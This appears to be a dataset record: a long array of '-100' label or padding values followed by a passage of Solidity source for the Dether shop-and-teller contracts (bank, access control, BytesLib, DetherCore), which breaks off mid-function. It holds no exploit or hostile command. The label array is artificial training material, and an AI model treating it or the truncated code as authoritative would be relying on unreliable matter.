-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
contract Certifier { event Confirmed(address indexed who); event Revoked(address indexed who); function certified(address _who) view public returns (bool); } contract ERC223ReceivingContract { /// @dev Standard ERC223 function that will handle incoming token transfers. /// @param _from Token sender address. /// @param _value Amount of tokens. /// @param _data Transaction metadata. function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC223Basic is ERC20Basic { /** * @dev Transfer the specified amount of tokens to the specified address. * Now with a new parameter _data. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes _data) public returns (bool); /** * @dev triggered when transfer is successfully called. * * @param _from Sender address. * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ event Transfer(address indexed _from, address indexed _to, uint256 indexed _value, bytes _data); } contract SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract DetherBank is ERC223ReceivingContract, Ownable, SafeMath { using BytesLib for bytes; /* * Event */ event receiveDth(address _from, uint amount); event receiveEth(address _from, uint amount); event sendDth(address _from, uint amount); event sendEth(address _from, uint amount); mapping(address => uint) public dthShopBalance; mapping(address => uint) public dthTellerBalance; mapping(address => uint) public ethShopBalance; mapping(address => uint) public ethTellerBalance; ERC223Basic public dth; bool public isInit = false; /** * INIT */ function setDth (address _dth) external onlyOwner { require(!isInit); dth = ERC223Basic(_dth); isInit = true; } /** * Core fonction */ // withdraw DTH when teller delete function withdrawDthTeller(address _receiver) external onlyOwner { require(dthTellerBalance[_receiver] > 0); uint tosend = dthTellerBalance[_receiver]; dthTellerBalance[_receiver] = 0; require(dth.transfer(_receiver, tosend)); } // withdraw DTH when shop delete function withdrawDthShop(address _receiver) external onlyOwner { require(dthShopBalance[_receiver] > 0); uint tosend = dthShopBalance[_receiver]; dthShopBalance[_receiver] = 0; require(dth.transfer(_receiver, tosend)); } // withdraw DTH when a shop add by admin is delete function withdrawDthShopAdmin(address _from, address _receiver) external onlyOwner { require(dthShopBalance[_from] > 0); uint tosend = dthShopBalance[_from]; dthShopBalance[_from] = 0; require(dth.transfer(_receiver, tosend)); } // add DTH when shop register function addTokenShop(address _from, uint _value) external onlyOwner { dthShopBalance[_from] = SafeMath.add(dthShopBalance[_from], _value); } // add DTH when token register function addTokenTeller(address _from, uint _value) external onlyOwner{ dthTellerBalance[_from] = SafeMath.add(dthTellerBalance[_from], _value); } // add ETH for escrow teller function addEthTeller(address _from, uint _value) external payable onlyOwner returns (bool) { ethTellerBalance[_from] = SafeMath.add(ethTellerBalance[_from] ,_value); return true; } // withdraw ETH for teller escrow function withdrawEth(address _from, address _to, uint _amount) external onlyOwner { require(ethTellerBalance[_from] >= _amount); ethTellerBalance[_from] = SafeMath.sub(ethTellerBalance[_from], _amount); _to.transfer(_amount); } // refund all ETH from teller contract function refundEth(address _from) external onlyOwner { uint toSend = ethTellerBalance[_from]; if (toSend > 0) { ethTellerBalance[_from] = 0; _from.transfer(toSend); } } /** * GETTER */ function getDthTeller(address _user) public view returns (uint) { return dthTellerBalance[_user]; } function getDthShop(address _user) public view returns (uint) { return dthShopBalance[_user]; } function getEthBalTeller(address _user) public view returns (uint) { return ethTellerBalance[_user]; } /// @dev Standard ERC223 function that will handle incoming token transfers. // DO NOTHING but allow to receive token when addToken* function are called // by the dethercore contract function tokenFallback(address _from, uint _value, bytes _data) { require(msg.sender == address(dth)); } } contract DetherAccessControl { // This facet controls access control for Dether. There are four roles managed here: // // - The CEO: The CEO can reassign other roles and change the addresses of our dependent smart // contracts. It is also the only role that can unpause the smart contract. // // - The CMO: The CMO is in charge to open or close activity in zone // // It should be noted that these roles are distinct without overlap in their access abilities, the // abilities listed for each role above are exhaustive. In particular, while the CEO can assign any // address to any role, the CEO address itself doesn't have the ability to act in those roles. This // restriction is intentional so that we aren't tempted to use the CEO address frequently out of // convenience. The less we use an address, the less likely it is that we somehow compromise the // account. /// @dev Emited when contract is upgraded event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cmoAddress; address public csoAddress; // CHIEF SHOP OFFICER mapping (address => bool) public shopModerators; // centralised moderator, would become decentralised mapping (address => bool) public tellerModerators; // centralised moderator, would become decentralised // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CMO-only functionality modifier onlyCMO() { require(msg.sender == cmoAddress); _; } function isCSO(address _addr) public view returns (bool) { return (_addr == csoAddress); } modifier isShopModerator(address _user) { require(shopModerators[_user]); _; } modifier isTellerModerator(address _user) { require(tellerModerators[_user]); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the CMO. Only available to the current CEO. /// @param _newCMO The address of the new CMO function setCMO(address _newCMO) external onlyCEO { require(_newCMO != address(0)); cmoAddress = _newCMO; } function setCSO(address _newCSO) external onlyCEO { require(_newCSO != address(0)); csoAddress = _newCSO; } function setShopModerator(address _moderator) external onlyCEO { require(_moderator != address(0)); shopModerators[_moderator] = true; } function removeShopModerator(address _moderator) external onlyCEO { shopModerators[_moderator] = false; } function setTellerModerator(address _moderator) external onlyCEO { require(_moderator != address(0)); tellerModerators[_moderator] = true; } function removeTellerModerator(address _moderator) external onlyCEO { tellerModerators[_moderator] = false; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyCEO whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CMO account are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyCEO whenPaused { // can't unpause if contract was upgraded paused = false; } } contract DetherSetup is DetherAccessControl { bool public run1 = false; bool public run2 = false; // -Need to be whitelisted to be able to register in the contract as a shop or // teller, there is two level of identification. // -This identification method are now centralised and processed by dether, but // will be decentralised soon Certifier public smsCertifier; Certifier public kycCertifier; // Zone need to be open by the CMO before accepting registration // The bytes2 parameter wait for a country ID (ex: FR (0x4652 in hex) for france cf:README) mapping(bytes2 => bool) public openedCountryShop; mapping(bytes2 => bool) public openedCountryTeller; // For registering in a zone you need to stake DTH // The price can differ by country // Uts now a fixed price by the CMO but the price will adjusted automatically // regarding different factor in the futur smart contract mapping(bytes2 => uint) public licenceShop; mapping(bytes2 => uint) public licenceTeller; modifier tier1(address _user) { require(smsCertifier.certified(_user)); _; } modifier tier2(address _user) { require(kycCertifier.certified(_user)); _; } modifier isZoneShopOpen(bytes2 _country) { require(openedCountryShop[_country]); _; } modifier isZoneTellerOpen(bytes2 _country) { require(openedCountryTeller[_country]); _; } /** * INIT */ function setSmsCertifier (address _smsCertifier) external onlyCEO { require(!run1); smsCertifier = Certifier(_smsCertifier); run1 = true; } /** * CORE FUNCTION */ function setKycCertifier (address _kycCertifier) external onlyCEO { require(!run2); kycCertifier = Certifier(_kycCertifier); run2 = true; } function setLicenceShopPrice(bytes2 country, uint price) external onlyCMO { licenceShop[country] = price; } function setLicenceTellerPrice(bytes2 country, uint price) external onlyCMO { licenceTeller[country] = price; } function openZoneShop(bytes2 _country) external onlyCMO { openedCountryShop[_country] = true; } function closeZoneShop(bytes2 _country) external onlyCMO { openedCountryShop[_country] = false; } function openZoneTeller(bytes2 _country) external onlyCMO { openedCountryTeller[_country] = true; } function closeZoneTeller(bytes2 _country) external onlyCMO { openedCountryTeller[_country] = false; } } library BytesLib { function concat(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bytes) { bytes memory tempBytes; assembly { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // Store the length of the first bytes array at the beginning of // the memory for tempBytes. let length := mload(_preBytes) mstore(tempBytes, length) // Maintain a memory counter for the current write location in the // temp bytes array by adding the 32 bytes for the array length to // the starting location. let mc := add(tempBytes, 0x20) // Stop copying when the memory counter reaches the length of the // first bytes array. let end := add(mc, length) for { // Initialize a copy counter to the start of the _preBytes data, // 32 bytes into its memory. let cc := add(_preBytes, 0x20) } lt(mc, end) { // Increase both counters by 32 bytes each iteration. mc := add(mc, 0x20) cc := add(cc, 0x20) } { // Write the _preBytes data into the tempBytes memory 32 bytes // at a time. mstore(mc, mload(cc)) } // Add the length of _postBytes to the current length of tempBytes // and store it as the new length in the first 32 bytes of the // tempBytes memory. length := mload(_postBytes) mstore(tempBytes, add(length, mload(tempBytes))) // Move the memory counter back from a multiple of 0x20 to the // actual end of the _preBytes data. mc := end // Stop copying when the memory counter reaches the new combined // length of the arrays. end := add(mc, length) for { let cc := add(_postBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } // Update the free-memory pointer by padding our last write location // to 32 bytes: add 31 bytes to the end of tempBytes to move to the // next 32 byte block, then round down to the nearest multiple of // 32. If the sum of the length of the two arrays is zero then add // one before rounding down to leave a blank 32 bytes (the length block with 0). mstore(0x40, and( add(add(end, iszero(add(length, mload(_preBytes)))), 31), not(31) // Round down to the nearest 32 bytes. )) } return tempBytes; } function concatStorage(bytes storage _preBytes, bytes memory _postBytes) internal { assembly { // Read the first 32 bytes of _preBytes storage, which is the length // of the array. (We don't need to use the offset into the slot // because arrays use the entire slot.) let fslot := sload(_preBytes_slot) // Arrays of 31 bytes or less have an even value in their slot, // while longer arrays have an odd value. The actual length is // the slot divided by two for odd values, and the lowest order // byte divided by two for even values. // If the slot is even, bitwise and the slot with 255 and divide by // two to get the length. If the slot is odd, bitwise and the slot // with -1 and divide by two. let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) let newlength := add(slength, mlength) // slength can contain both the length and contents of the array // if length < 32 bytes so let's prepare for that // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage switch add(lt(slength, 32), lt(newlength, 32)) case 2 { // Since the new array still fits in the slot, we just need to // update the contents of the slot. // uint256(bytes_storage) = uint256(bytes_storage) + uint256(bytes_memory) + new_length sstore( _preBytes_slot, // all the modifications to the slot are inside this // next block add( // we can just add to the slot contents because the // bytes we want to change are the LSBs fslot, add( mul( div( // load the bytes from memory mload(add(_postBytes, 0x20)), // zero all bytes to the right exp(0x100, sub(32, mlength)) ), // and now shift left the number of bytes to // leave space for the length in the slot exp(0x100, sub(32, newlength)) ), // increase length by the double of the memory // bytes length mul(mlength, 2) ) ) ) } case 1 { // The stored value fits in the slot, but the combined value // will exceed it. // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) let sc := add(keccak256(0x0, 0x20), div(slength, 32)) // save new length sstore(_preBytes_slot, add(mul(newlength, 2), 1)) // The contents of the _postBytes array start 32 bytes into // the structure. Our first read should obtain the `submod` // bytes that can fit into the unused space in the last word // of the stored array. To get this, we read 32 bytes starting // from `submod`, so the data we read overlaps with the array // contents by `submod` bytes. Masking the lowest-order // `submod` bytes allows us to add that value directly to the // stored value. let submod := sub(32, slength) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore( sc, add( and( fslot, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00 ), and(mload(mc), mask) ) ) for { mc := add(mc, 0x20) sc := add(sc, 1) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } default { // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) // Start copying to the last used word of the stored array. let sc := add(keccak256(0x0, 0x20), div(slength, 32)) // save new length sstore(_preBytes_slot, add(mul(newlength, 2), 1)) // Copy over the first `submod` bytes of the new data as in // case 1 above. let slengthmod := mod(slength, 32) let mlengthmod := mod(mlength, 32) let submod := sub(32, slengthmod) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore(sc, add(sload(sc), and(mload(mc), mask))) for { sc := add(sc, 1) mc := add(mc, 0x20) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } } } function slice(bytes _bytes, uint _start, uint _length) internal pure returns (bytes) { require(_bytes.length >= (_start + _length)); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function toAddress(bytes _bytes, uint _start) internal pure returns (address) { require(_bytes.length >= (_start + 20)); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toUint(bytes _bytes, uint _start) internal pure returns (uint256) { require(_bytes.length >= (_start + 32)); uint256 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x20), _start)) } return tempUint; } function toBytes32(bytes _bytes, uint _start) internal pure returns (bytes32) { require(_bytes.length >= (_start + 32)); bytes32 tempBytes32; assembly { tempBytes32 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes32; } function toBytes16(bytes _bytes, uint _start) internal pure returns (bytes16) { require(_bytes.length >= (_start + 16)); bytes16 tempBytes16; assembly { tempBytes16 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes16; } function toBytes2(bytes _bytes, uint _start) internal pure returns (bytes2) { require(_bytes.length >= (_start + 2)); bytes2 tempBytes2; assembly { tempBytes2 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes2; } function toBytes4(bytes _bytes, uint _start) internal pure returns (bytes4) { require(_bytes.length >= (_start + 4)); bytes4 tempBytes4; assembly { tempBytes4 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes4; } function toBytes1(bytes _bytes, uint _start) internal pure returns (bytes1) { require(_bytes.length >= (_start + 1)); bytes1 tempBytes1; assembly { tempBytes1 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes1; } function equal(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) { bool success = true; assembly { let length := mload(_preBytes) // if lengths don't match the arrays are not equal switch eq(length, mload(_postBytes)) case 1 { // cb is a circuit breaker in the for loop since there's // no said feature for inline assembly loops // cb = 1 - don't breaker // cb = 0 - break let cb := 1 let mc := add(_preBytes, 0x20) let end := add(mc, length) for { let cc := add(_postBytes, 0x20) // the next line is the loop condition: // while(uint(mc < end) + cb == 2) } eq(add(lt(mc, end), cb), 2) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { // if any of these checks fails then arrays are not equal if iszero(eq(mload(mc), mload(cc))) { // unsuccess: success := 0 cb := 0 } } } default { // unsuccess: success := 0 } } return success; } function equalStorage(bytes storage _preBytes, bytes memory _postBytes) internal view returns (bool) { bool success = true; assembly { // we know _preBytes_offset is 0 let fslot := sload(_preBytes_slot) // Decode the length of the stored array like in concatStorage(). let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) // if lengths don't match the arrays are not equal switch eq(slength, mlength) case 1 { // slength can contain both the length and contents of the array // if length < 32 bytes so let's prepare for that // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage if iszero(iszero(slength)) { switch lt(slength, 32) case 1 { // blank the last byte which is the length fslot := mul(div(fslot, 0x100), 0x100) if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) { // unsuccess: success := 0 } } default { // cb is a circuit breaker in the for loop since there's // no said feature for inline assembly loops // cb = 1 - don't breaker // cb = 0 - break let cb := 1 // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) let sc := keccak256(0x0, 0x20) let mc := add(_postBytes, 0x20) let end := add(mc, mlength) // the next line is the loop condition: // while(uint(mc < end) + cb == 2) for {} eq(add(lt(mc, end), cb), 2) { sc := add(sc, 1) mc := add(mc, 0x20) } { if iszero(eq(sload(sc), mload(mc))) { // unsuccess: success := 0 cb := 0 } } } } } default { // unsuccess: success := 0 } } return success; } } contract DetherCore is DetherSetup, ERC223ReceivingContract, SafeMath { using BytesLib for bytes; /** * Event */ // when a Teller is registered event RegisterTeller(address indexed tellerAddress); // when a teller is deleted event DeleteTeller(address indexed tellerAddress); // when teller update event UpdateTeller(address indexed tellerAddress); // when a teller send to a buyer event Sent(address indexed _from, address indexed _to, uint amount); // when a shop register event RegisterShop(address shopAddress); // when a shop delete event DeleteShop(address shopAddress); // when a moderator delete a shop event DeleteShopModerator(address indexed moderator, address shopAddress); // when a moderator delete a teller event DeleteTellerModerator(address indexed moderator, address tellerAddress); /** * Modifier */ // if teller has staked enough dth to modifier tellerHasStaked(uint amount) { require(bank.getDthTeller(msg.sender) >= amount); _; } // if shop has staked enough dth to modifier shopHasStaked(uint amount) { require(bank.getDthShop(msg.sender) >= amount); _; } /* * External contract */ // DTH contract ERC223Basic public dth; // bank contract where are stored ETH and DTH DetherBank public bank; // teller struct struct Teller { int32 lat; // Latitude int32 lng; // Longitude bytes2 countryId; // countryID (in hexa), ISO ALPHA 2 https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2 bytes16 postalCode; // postalCode if present, in Hexa https://en.wikipedia.org/wiki/List_of_postal_codes int8 currencyId; // 1 - 100 , cf README bytes16 messenger; // telegrame nickname int8 avatarId; // 1 - 100 , regarding the front-end app you use int16 rates; // margin of tellers , -999 - +9999 , corresponding to -99,9% x 10 , 999,9% x 10 uint zoneIndex; // index of the zone mapping uint generalIndex; // index of general mapping bool online; // switch online/offline, if the tellers want to be inactive without deleting his point } /* * Reputation field V0.1 * Reputation is based on volume sell, volume buy, and number of transaction */ mapping(address => uint) volumeBuy; mapping(address => uint) volumeSell; mapping(address => uint) nbTrade; // general mapping of teller mapping(address => Teller) teller; // mappoing of teller by COUNTRYCODE => POSTALCODE mapping(bytes2 => mapping(bytes16 => address[])) tellerInZone; // teller array currently registered address[] public tellerIndex; // unordered list of teller register on it bool isStarted = false; // shop struct struct Shop { int32 lat; // latitude int32 lng; // longitude bytes2 countryId; // countryID (in hexa char), ISO ALPHA 2 https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2 bytes16 postalCode; // postalCode if present (in hexa char), in Hexa https://en.wikipedia.org/wiki/List_of_postal_codes bytes16 cat; // Category of the shop (in hex char), will be used later for search engine and auction by zone bytes16 name; // name of the shop (in hex char) bytes32 description; // description of the shop bytes16 opening; // opening hours, cf README for the format uint zoneIndex; // index of the zone mapping uint generalIndex; // index of general mapping bool detherShop; // bool if shop is registered by dether as business partnership (still required DTH) } // general mapping of shop mapping(address => Shop) shop; // mapping of teller by COUNTRYCODE => POSTALCODE mapping(bytes2 => mapping(bytes16 => address[])) shopInZone; // shop array currently registered address[] public shopIndex; // unordered list of shop register on it /* * Instanciation */ function DetherCore() { ceoAddress = msg.sender; } function initContract (address _dth, address _bank) external onlyCEO { require(!isStarted); dth = ERC223Basic(_dth); bank = DetherBank(_bank); isStarted = true; } /** * Core fonction */ /** * @dev Standard ERC223 function that will handle incoming token transfers. * This is the main function to register SHOP or TELLER, its calling when you * send token to the DTH contract and by passing data as bytes on the third * parameter. * Its not supposed to be use on its own but will only handle incoming DTH * transaction. * The _data will wait for * [1st byte] 1 (0x31) for shop OR 2 (0x32) for teller * FOR SHOP AND TELLER: * 2sd to 5th bytes lat * 6th to 9th bytes lng * ... * Modifier tier1: Check if address is whitelisted with the sms verification */ function tokenFallback(address _from, uint _value, bytes _data) whenNotPaused tier1(_from ) { // require than the token fallback is triggered from the dth token contract require(msg.sender == address(dth)); // check first byte to know if its shop or teller registration // 1 / 0x31 = shop // 2 / 0x32 = teller bytes1 _func = _data.toBytes1(0); int32 posLat = _data.toBytes1(1) == bytes1(0x01) ? int32(_data.toBytes4(2)) * -1 : int32(_data.toBytes4(2)); int32 posLng = _data.toBytes1(6) == bytes1(0x01) ? int32(_data.toBytes4(7)) * -1 : int32(_data.toBytes4(7)); if (_func == bytes1(0x31)) { // shop registration // require staked greater than licence price require(_value >= licenceShop[_data.toBytes2(11)]); // require its not already shop require(!isShop(_from)); // require zone is open require(openedCountryShop[_data.toBytes2(11)]); shop[_from].lat = posLat; shop[_from].lng = posLng; shop[_from].countryId = _data.toBytes2(11); shop[_from].postalCode = _data.toBytes16(13); shop[_from].cat = _data.toBytes16(29); shop[_from].name = _data.toBytes16(45); shop[_from].description = _data.toBytes32(61); shop[_from].opening = _data.toBytes16(93); shop[_from].generalIndex = shopIndex.push(_from) - 1; shop[_from].zoneIndex = shopInZone[_data.toBytes2(11)][_data.toBytes16(13)].push(_from) - 1; emit RegisterShop(_from); bank.addTokenShop(_from,_value); dth.transfer(address(bank), _value); } else if (_func == bytes1(0x32)) { // teller registration // require staked greater than licence price require(_value >= licenceTeller[_data.toBytes2(11)]); // require is not already a teller require(!isTeller(_from)); // require zone is open require(openedCountryTeller[_data.toBytes2(11)]); teller[_from].lat = posLat; teller[_from].lng = posLng; teller[_from].countryId = _data.toBytes2(11); teller[_from].postalCode = _data.toBytes16(13); teller[_from].avatarId = int8(_data.toBytes1(29)); teller[_from].currencyId = int8(_data.toBytes1(30)); teller[_from].messenger = _data.toBytes16(31); teller[_from].rates = int16(_data.toBytes2(47)); teller[_from].generalIndex = tellerIndex.push(_from) - 1; teller[_from].zoneIndex = tellerInZone[_data.toBytes2(11)][_data.toBytes16(13)].push(_from) - 1; teller[_from].online = true; emit RegisterTeller(_from); bank.addTokenTeller(_from, _value); dth.transfer(address(bank), _value); } else if (_func == bytes1(0x33)) { // shop bulk registration // We need to have the possibility to register in bulk some shop // For big retailer company willing to be listed on dether, we need to have a way to add // all their shop from one address // This functionnality will become available for anyone willing to list multiple shop // in the futures contract // Only the CSO should be able to register shop in bulk require(_from == csoAddress); // Each shop still need his own staking require(_value >= licenceShop[_data.toBytes2(11)]); // require the addresses not already registered require(!isShop(address(_data.toAddress(109)))); // require zone is open require(openedCountryShop[_data.toBytes2(11)]); address newShopAddress = _data.toAddress(109); shop[newShopAddress].lat = posLat; shop[newShopAddress].lng = posLng; shop[newShopAddress].countryId = _data.toBytes2(11); shop[newShopAddress].postalCode = _data.toBytes16(13); shop[newShopAddress].cat = _data.toBytes16(29); shop[newShopAddress].name = _data.toBytes16(45); shop[newShopAddress].description = _data.toBytes32(61); shop[newShopAddress].opening = _data.toBytes16(93); shop[newShopAddress].generalIndex = shopIndex.push(newShopAddress) - 1; shop[newShopAddress].zoneIndex = shopInZone[_data.toBytes2(11)][_data.toBytes16(13)].push(newShopAddress) - 1; shop[newShopAddress].detherShop = true; emit RegisterShop(newShopAddress); bank.addTokenShop(newShopAddress, _value); dth.transfer(address(bank), _value); } } /** * a teller can update his profile * If a teller want to change his location, he would need to delete and recreate * a new point */ function updateTeller( int8 currencyId, bytes16 messenger, int8 avatarId, int16 rates, bool online ) public payable { require(isTeller(msg.sender)); if (currencyId != teller[msg.sender].currencyId) teller[msg.sender].currencyId = currencyId; if (teller[msg.sender].messenger != messenger) teller[msg.sender].messenger = messenger; if (teller[msg.sender].avatarId != avatarId) teller[msg.sender].avatarId = avatarId; if (teller[msg.sender].rates != rates) teller[msg.sender].rates = rates; if (teller[msg.sender].online != online) teller[msg.sender].online = online; if (msg.value > 0) { bank.addEthTeller.value(msg.value)(msg.sender, msg.value); } emit UpdateTeller(msg.sender); } /** * SellEth * @param _to -> the address for the receiver * @param _amount -> the amount to send */ function sellEth(address _to, uint _amount) whenNotPaused external { require(isTeller(msg.sender)); require(_to != msg.sender); // 